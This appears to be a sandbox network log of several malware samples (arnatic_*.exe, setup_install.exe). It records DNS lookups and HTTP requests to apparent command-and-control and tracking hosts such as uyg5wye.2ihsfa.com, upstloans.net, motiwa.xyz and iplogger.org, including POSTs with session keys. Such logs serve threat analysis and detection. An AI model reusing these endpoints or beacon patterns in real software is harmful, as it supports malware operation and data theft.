        content-security-policy: default-src facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com data: blob: 'self';script-src *.facebook.com *.fbcdn.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com;connect-src *.facebook.com facebook.com *.fbcdn.net wss://*.facebook.com:* attachment.fbsbx.com blob: *.cdninstagram.com 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
        X-Frame-Options: DENY
        Strict-Transport-Security: max-age=15552000; preload
        Content-Type: text/html; charset="utf-8"
        X-FB-Debug: hSkrcwA+9JSaQjIrNrENrEUwsxgbgx8QhgRcwxK4e/MOaJcFqpovBV2s9CYfIBL9AfmVQGKL6/jqmFTcVbL3WA==
        Date: Mon, 06 Sep 2021 14:16:07 GMT
        Priority: u=3,i
        Transfer-Encoding: chunked
        Alt-Svc: h3-29=":443"; ma=3600,h3-27=":443"; ma=3600
        Connection: keep-alive
      • flag-us
        DNS
        wfsdragon.ru
        arnatic_6.exe
        Remote address:
        8.8.8.8:53
        Request
        wfsdragon.ru
        IN A
        Response
        wfsdragon.ru
        IN A
        104.21.5.208
        wfsdragon.ru
        IN A
        172.67.133.215
      • flag-us
        GET
        http://wfsdragon.ru/api/setStats.php
        arnatic_6.exe
        Remote address:
        104.21.5.208:80
        Request
        GET /api/setStats.php HTTP/1.1
        Connection: Keep-Alive
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
        Host: wfsdragon.ru
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:07 GMT
        Content-Type: text/html; charset=utf-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        CF-Cache-Status: DYNAMIC
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kW0Byr2nPlpe0H05UYnWWEo9MRWyY0BdZJReh5sE8uuUTzyI1gCREzP2yUxlbLhhHx3U8T6AcRNt5%2F5zheHZQQB%2BIutkCvW0EMThn%2BjlQWz4ePVRW6m2%2BQztyMcmdJI%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a85035ade3fa90-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        DNS
        ipinfo.io
        arnatic_6.exe
        Remote address:
        8.8.8.8:53
        Request
        ipinfo.io
        IN A
        Response
        ipinfo.io
        IN A
        34.117.59.81
      • flag-us
        GET
        https://ipinfo.io/widget
        arnatic_6.exe
        Remote address:
        34.117.59.81:443
        Request
        GET /widget HTTP/1.1
        Connection: Keep-Alive
        Referer: https://ipinfo.io/
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
        Host: ipinfo.io
        Response
        HTTP/1.1 200 OK
        access-control-allow-origin: *
        x-frame-options: DENY
        x-xss-protection: 1; mode=block
        x-content-type-options: nosniff
        referrer-policy: strict-origin-when-cross-origin
        content-type: application/json; charset=utf-8
        content-length: 873
        date: Mon, 06 Sep 2021 14:16:07 GMT
        x-envoy-upstream-service-time: 24
        vary: Accept-Encoding
        Via: 1.1 google
        Alt-Svc: clear
      • flag-us
        DNS
        pki.goog
        arnatic_6.exe
        Remote address:
        8.8.8.8:53
        Request
        pki.goog
        IN A
        Response
        pki.goog
        IN A
        216.239.32.29
      • flag-us
        GET
        http://pki.goog/gsr1/gsr1.crt
        arnatic_6.exe
        Remote address:
        216.239.32.29:80
        Request
        GET /gsr1/gsr1.crt HTTP/1.1
        Connection: Keep-Alive
        Accept: */*
        User-Agent: Microsoft-CryptoAPI/6.1
        Host: pki.goog
        Response
        HTTP/1.1 200 OK
        Accept-Ranges: bytes
        Vary: Accept-Encoding
        Content-Type: application/pkix-cert
        Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
        Cross-Origin-Resource-Policy: same-site
        Content-Length: 889
        Date: Mon, 06 Sep 2021 14:04:38 GMT
        Expires: Mon, 06 Sep 2021 14:54:38 GMT
        Last-Modified: Wed, 20 May 2020 16:45:00 GMT
        X-Content-Type-Options: nosniff
        Server: sffe
        X-XSS-Protection: 0
        Age: 689
        Cache-Control: public, max-age=3000
      • flag-us
        DNS
        uyg5wye.2ihsfa.com
        arnatic_4.exe
        Remote address:
        8.8.8.8:53
        Request
        uyg5wye.2ihsfa.com
        IN A
        Response
        uyg5wye.2ihsfa.com
        IN A
        45.136.151.102
      • flag-us
        GET
        http://uyg5wye.2ihsfa.com/api/fbtime
        arnatic_4.exe
        Remote address:
        45.136.151.102:80
        Request
        GET /api/fbtime HTTP/1.1
        Connection: Keep-Alive
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        Host: uyg5wye.2ihsfa.com
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:16:09 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        Vary: Accept-Encoding
        X-Powered-By: PHP/7.4.21
      • flag-us
        POST
        http://uyg5wye.2ihsfa.com/api/?sid=418197&key=9bc03743dc1f64e40e036436dbe00e03
        arnatic_4.exe
        Remote address:
        45.136.151.102:80
        Request
        POST /api/?sid=418197&key=9bc03743dc1f64e40e036436dbe00e03 HTTP/1.1
        Connection: Keep-Alive
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        Content-Length: 266
        Host: uyg5wye.2ihsfa.com
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:16:09 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        Vary: Accept-Encoding
        X-Powered-By: PHP/7.4.21
      • flag-us
        GET
        http://ip-api.com/json/?fields=8198
        SystemNetworkService
        Remote address:
        208.95.112.1:80
        Request
        GET /json/?fields=8198 HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: ip-api.com
        Connection: Keep-Alive
        Cache-Control: no-cache
      • flag-us
        GET
        http://ip-api.com/json/?fields=8198
        SystemNetworkService
        Remote address:
        208.95.112.1:80
        Request
        GET /json/?fields=8198 HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: ip-api.com
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:49 GMT
        Content-Type: application/json; charset=utf-8
        Content-Length: 57
        Access-Control-Allow-Origin: *
        X-Ttl: 53
        X-Rl: 30
      • flag-us
        GET
        http://ip-api.com/json/?fields=8198
        SystemNetworkService
        Remote address:
        208.95.112.1:80
        Request
        GET /json/?fields=8198 HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: ip-api.com
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:50 GMT
        Content-Type: application/json; charset=utf-8
        Content-Length: 57
        Access-Control-Allow-Origin: *
        X-Ttl: 53
        X-Rl: 29
      • flag-us
        GET
        http://ip-api.com/json/?fields=8198
        SystemNetworkService
        Remote address:
        208.95.112.1:80
        Request
        GET /json/?fields=8198 HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: ip-api.com
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:50 GMT
        Content-Type: application/json; charset=utf-8
        Content-Length: 57
        Access-Control-Allow-Origin: *
        X-Ttl: 52
        X-Rl: 28
      • flag-us
        GET
        http://ip-api.com/json/?fields=8198
        SystemNetworkService
        Remote address:
        208.95.112.1:80
        Request
        GET /json/?fields=8198 HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: ip-api.com
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:51 GMT
        Content-Type: application/json; charset=utf-8
        Content-Length: 57
        Access-Control-Allow-Origin: *
        X-Ttl: 52
        X-Rl: 27
      • flag-us
        DNS
        a.upstloans.net
        SystemNetworkService
        Remote address:
        8.8.8.8:53
        Request
        a.upstloans.net
        IN A
        Response
        a.upstloans.net
        IN A
        172.67.179.248
        a.upstloans.net
        IN A
        104.21.31.210
      • flag-us
        POST
        https://a.upstloans.net/report7.4.php
        SystemNetworkService
        Remote address:
        172.67.179.248:443
        Request
        POST /report7.4.php HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: a.upstloans.net
        Content-Length: 278
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:51 GMT
        Content-Type: application/json; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        vary: Accept-Encoding
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2ByYf8YYR3ANWFuEo%2Fe5ehrwFfYa4UIAiXTz9Vva8ur%2Fa%2F%2F91RgYR1fp45js4SAkn6%2BRC1pblI2iTThEDHMz1BcfuNwMmcTnajY6HsN%2BdazqWUFbeg9r4Nc7K4Dnr%2B8A3QV8%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a851446c724c07-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        DNS
        b.upstloans.net
        SystemNetworkService
        Remote address:
        8.8.8.8:53
        Request
        b.upstloans.net
        IN A
        Response
        b.upstloans.net
        IN A
        104.21.31.210
        b.upstloans.net
        IN A
        172.67.179.248
      • flag-us
        POST
        https://b.upstloans.net/report7.4.php
        SystemNetworkService
        Remote address:
        104.21.31.210:443
        Request
        POST /report7.4.php HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: b.upstloans.net
        Content-Length: 278
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:51 GMT
        Content-Type: application/json; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xkRWiqBwtzehc%2Fzqgx6VWne3gMuluoGhcxgUCVNh0Zfanpb6ZNbgx7tJvcY0PmjI3qW8fUvHlUlIQm3Oy%2B%2BgFv1hwYfWD2ANVbChX9Hm1Bf%2Fwhbv%2B8POPgTxOZ97LnN7ey4%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a851480bad00df-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        POST
        https://a.upstloans.net/report7.4.php
        SystemNetworkService
        Remote address:
        172.67.179.248:443
        Request
        POST /report7.4.php HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: a.upstloans.net
        Content-Length: 278
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:52 GMT
        Content-Type: application/json; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        vary: Accept-Encoding
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=W8L05PTbbjfZquimA%2B6A3QoH5NXVBi3JMp1J94LgrXtw%2BXMT%2BuQH4WjN74vRcaN9TK0KlOavw0cK79NzUC%2FC2a%2F1eDe%2BTRJyRuXkbK5n84WMwZZECWa4eZvBOKuzIUi6%2Bu4%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a85149bf801ec2-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        POST
        https://a.upstloans.net/report7.4.php
        SystemNetworkService
        Remote address:
        172.67.179.248:443
        Request
        POST /report7.4.php HTTP/1.1
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Host: a.upstloans.net
        Content-Length: 250
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Mon, 06 Sep 2021 14:16:56 GMT
        Content-Type: application/json; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        vary: Accept-Encoding
        CF-Cache-Status: DYNAMIC
        Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NcJu3ecuxSl2U%2BPhGNHiOmbSBEaGMWzVN8YjuSzdgptFBzFHiwEwGTFtghHLibSvh3z%2Ft2NSH2DGag7KMMrp9TYhgsWIbpz%2FTLWh%2B8VjdJQ%2FoPJBbDhuqwMTgC%2FhpQQnBvg%3D"}],"group":"cf-nel","max_age":604800}
        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
        Server: cloudflare
        CF-RAY: 68a8514d5c3c1f74-AMS
        alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
      • flag-us
        DNS
        www.facebook.com
        arnatic_4.exe
        Remote address:
        8.8.8.8:53
        Request
        www.facebook.com
        IN A
        Response
        www.facebook.com
        IN CNAME
        star-mini.c10r.facebook.com
        star-mini.c10r.facebook.com
        IN A
        31.13.64.35
      • flag-nl
        GET
        https://www.facebook.com/
        arnatic_4.exe
        Remote address:
        31.13.64.35:443
        Request
        GET / HTTP/1.1
        Connection: Keep-Alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        viewport-width: 1920
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
        Sec-Fetch-User: ?1
        Upgrade-Insecure-Requests: 1
        Host: www.facebook.com
        Response
        HTTP/1.1 200 OK
        Vary: Accept-Encoding
        x-fb-rlafr: 0
        Pragma: no-cache
        Cache-Control: private, no-cache, no-store, must-revalidate
        Expires: Sat, 01 Jan 2000 00:00:00 GMT
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 0
        content-security-policy-report-only: default-src 'self' data: blob: https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src static.xx.fbcdn.net 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net data:;connect-src wss://gateway.facebook.com wss://edge-chat.facebook.com *.facebook.com *.fbcdn.net wss://snaptu-d.facebook.com wss://kaios-d-test.facebook.com/ wss://kaios-d.facebook.com/ *.fbsbx.com;font-src data: *.facebook.com *.fbcdn.net;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster:;frame-src *.facebook.com *.fbsbx.com;worker-src blob:;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
        content-security-policy: default-src facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com data: blob: 'self';script-src *.facebook.com *.fbcdn.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com;connect-src *.facebook.com facebook.com *.fbcdn.net wss://*.facebook.com:* attachment.fbsbx.com blob: *.cdninstagram.com 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
        X-Frame-Options: DENY
        Strict-Transport-Security: max-age=15552000; preload
        Content-Type: text/html; charset="utf-8"
        X-FB-Debug: syZtn71fSv8BTArMjR34/I0SVvyD5H26t2D0c0xQA2ac4Jm/t++NoM2qdh969DOkY8Ey18LIPw8JYgxdXjY6kg==
        Date: Mon, 06 Sep 2021 14:26:12 GMT
        Priority: u=3,i
        Transfer-Encoding: chunked
        Alt-Svc: h3-29=":443"; ma=3600,h3-27=":443"; ma=3600
        Connection: keep-alive
      • flag-us
        GET
        http://uyg5wye.2ihsfa.com/api/fbtime
        arnatic_4.exe
        Remote address:
        45.136.151.102:80
        Request
        GET /api/fbtime HTTP/1.1
        Connection: Keep-Alive
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        Host: uyg5wye.2ihsfa.com
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:26:13 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        Vary: Accept-Encoding
        X-Powered-By: PHP/7.4.21
      • flag-us
        POST
        http://uyg5wye.2ihsfa.com/api/?sid=421979&key=12efb0eea76684bfa0316a153004deda
        arnatic_4.exe
        Remote address:
        45.136.151.102:80
        Request
        POST /api/?sid=421979&key=12efb0eea76684bfa0316a153004deda HTTP/1.1
        Connection: Keep-Alive
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        Content-Length: 266
        Host: uyg5wye.2ihsfa.com
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:26:13 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        Vary: Accept-Encoding
        X-Powered-By: PHP/7.4.21
      • flag-us
        DNS
        www.facebook.com
        arnatic_4.exe
        Remote address:
        8.8.8.8:53
        Request
        www.facebook.com
        IN A
        Response
        www.facebook.com
        IN CNAME
        star-mini.c10r.facebook.com
        star-mini.c10r.facebook.com
        IN A
        31.13.64.35
      • flag-nl
        GET
        https://www.facebook.com/
        arnatic_4.exe
        Remote address:
        31.13.64.35:443
        Request
        GET / HTTP/1.1
        Connection: Keep-Alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        viewport-width: 1920
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
        Sec-Fetch-User: ?1
        Upgrade-Insecure-Requests: 1
        Host: www.facebook.com
        Response
        HTTP/1.1 200 OK
        Vary: Accept-Encoding
        x-fb-rlafr: 0
        Pragma: no-cache
        Cache-Control: private, no-cache, no-store, must-revalidate
        Expires: Sat, 01 Jan 2000 00:00:00 GMT
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 0
        content-security-policy-report-only: default-src 'self' data: blob: https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src static.xx.fbcdn.net 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net data:;connect-src wss://gateway.facebook.com wss://edge-chat.facebook.com *.facebook.com *.fbcdn.net wss://snaptu-d.facebook.com wss://kaios-d-test.facebook.com/ wss://kaios-d.facebook.com/ *.fbsbx.com;font-src data: *.facebook.com *.fbcdn.net;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster:;frame-src *.facebook.com *.fbsbx.com;worker-src blob:;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
        content-security-policy: default-src facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com data: blob: 'self';script-src *.facebook.com *.fbcdn.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com;connect-src *.facebook.com facebook.com *.fbcdn.net wss://*.facebook.com:* attachment.fbsbx.com blob: *.cdninstagram.com 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
        X-Frame-Options: DENY
        Strict-Transport-Security: max-age=15552000; preload
        Content-Type: text/html; charset="utf-8"
        X-FB-Debug: mqlXE5gjPaeT7JlIib4PSu/PzY/5dzx0KO9H8by+fZiZYp4oHVH7RpLcJV5kWpTagkAE91U5wrMQa4wwT5LFPg==
        Date: Mon, 06 Sep 2021 14:36:16 GMT
        Priority: u=3,i
        Transfer-Encoding: chunked
        Alt-Svc: h3-29=":443"; ma=3600,h3-27=":443"; ma=3600
        Connection: keep-alive
      • flag-us
        GET
        http://uyg5wye.2ihsfa.com/api/fbtime
        arnatic_4.exe
        Remote address:
        45.136.151.102:80
        Request
        GET /api/fbtime HTTP/1.1
        Connection: Keep-Alive
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        Host: uyg5wye.2ihsfa.com
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:36:17 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        Vary: Accept-Encoding
        X-Powered-By: PHP/7.4.21
      • flag-us
        POST
        http://uyg5wye.2ihsfa.com/api/?sid=425581&key=44658f33f5ec8e12260acbe07a59933a
        arnatic_4.exe
        Remote address:
        45.136.151.102:80
        Request
        POST /api/?sid=425581&key=44658f33f5ec8e12260acbe07a59933a HTTP/1.1
        Connection: Keep-Alive
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
        Content-Length: 266
        Host: uyg5wye.2ihsfa.com
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Mon, 06 Sep 2021 14:36:17 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        Vary: Accept-Encoding
        X-Powered-By: PHP/7.4.21
      • 104.21.12.59:80
        http://motiwa.xyz/addInstall.php?key=125478824515ADNxu2ccbwe&ip=&oid=4&oname[]=25June325AM&oname[]=7&oname[]=1&oname[]=2&oname[]=3&oname[]=4&oname[]=5&oname[]=6&cnt=7
        http
        setup_install.exe
        519 B
        5.3kB
        7
        8

        HTTP Request

        GET http://motiwa.xyz/addInstall.php?key=125478824515ADNxu2ccbwe&ip=&oid=4&oname[]=25June325AM&oname[]=7&oname[]=1&oname[]=2&oname[]=3&oname[]=4&oname[]=5&oname[]=6&cnt=7

        HTTP Response

        200
      • 136.144.41.133:80
        http://136.144.41.133/server.txt
        http
        arnatic_6.exe
        485 B
        1.2kB
        6
        6

        HTTP Request

        GET http://136.144.41.133/server.txt

        HTTP Response

        404
      • 136.144.41.201:80
        arnatic_6.exe
        152 B
        3
      • 172.67.201.250:443
        https://videoconvert-download38.xyz/?user=newpb1_6
        tls, http
        arnatic_5.exe
        1.7kB
        8.8kB
        18
        20

        HTTP Request

        GET https://videoconvert-download38.xyz/?user=newpb1_1

        HTTP Response

        200

        HTTP Request

        GET https://videoconvert-download38.xyz/?user=newpb1_2

        HTTP Response

        200

        HTTP Request

        GET https://videoconvert-download38.xyz/?user=newpb1_3

        HTTP Response

        200

        HTTP Request

        GET https://videoconvert-download38.xyz/?user=newpb1_4

        HTTP Response

        200

        HTTP Request

        GET https://videoconvert-download38.xyz/?user=newpb1_5

        HTTP Response

        200

        HTTP Request

        GET https://videoconvert-download38.xyz/?user=newpb1_6

        HTTP Response

        200
      • 88.99.66.31:443
        https://iplogger.org/1SPHi7
        tls, http
        arnatic_5.exe
        775 B
        6.3kB
        9
        9

        HTTP Request

        GET https://iplogger.org/1SPHi7

        HTTP Response

        200
      • 88.99.66.31:443
        https://iplogger.org/1vpFz7
        tls, http
        arnatic_5.exe
        516 B
        1.2kB
        5
        4

        HTTP Request

        GET https://iplogger.org/1vpFz7

        HTTP Response

        200
      • 127.0.0.1:63527
        setup_install.exe
      • 127.0.0.1:63529
        setup_install.exe
      • 208.95.112.1:80
        http://ip-api.com/json/
        http
        arnatic_4.exe
        774 B
        671 B
        6
        4

        HTTP Request

        GET http://ip-api.com/json/

        HTTP Response

        200
      • 74.114.154.18:443
        https://sergeevih43.tumblr.com/
        tls, http
        arnatic_1.exe
        1.0kB
        11.5kB
        13
        13

        HTTP Request

        GET https://sergeevih43.tumblr.com/

        HTTP Response

        404
      • 31.13.64.35:443
        https://www.facebook.com/
        tls, http
        arnatic_4.exe
        12.2kB
        566.6kB
        231
        421

        HTTP Request

        GET https://www.facebook.com/

        HTTP Response

        200

        HTTP Request

        GET https://www.facebook.com/

        HTTP Response

        200
      • 87.251.71.195:82
        arnatic_7.exe
        152 B
        3
      • 104.21.5.208:80
        http://wfsdragon.ru/api/setStats.php
        http
        arnatic_6.exe
        437 B
        848 B
        5
        4

        HTTP Request

        GET http://wfsdragon.ru/api/setStats.php

        HTTP Response

        200
      • 34.117.59.81:443
        https://ipinfo.io/widget
        tls, http
        arnatic_6.exe
        962 B
        7.7kB
        10
        10

        HTTP Request

        GET https://ipinfo.io/widget

        HTTP Response

        200
      • 216.239.32.29:80
        http://pki.goog/gsr1/gsr1.crt
        http
        arnatic_6.exe
        357 B
        3.0kB
        5
        4

        HTTP Request

        GET http://pki.goog/gsr1/gsr1.crt

        HTTP Response

        200
      • 37.0.10.237:80
        arnatic_6.exe
        152 B
        3
      • 45.136.151.102:80
        http://uyg5wye.2ihsfa.com/api/?sid=418197&key=9bc03743dc1f64e40e036436dbe00e03
        http
        arnatic_4.exe
        1.2kB
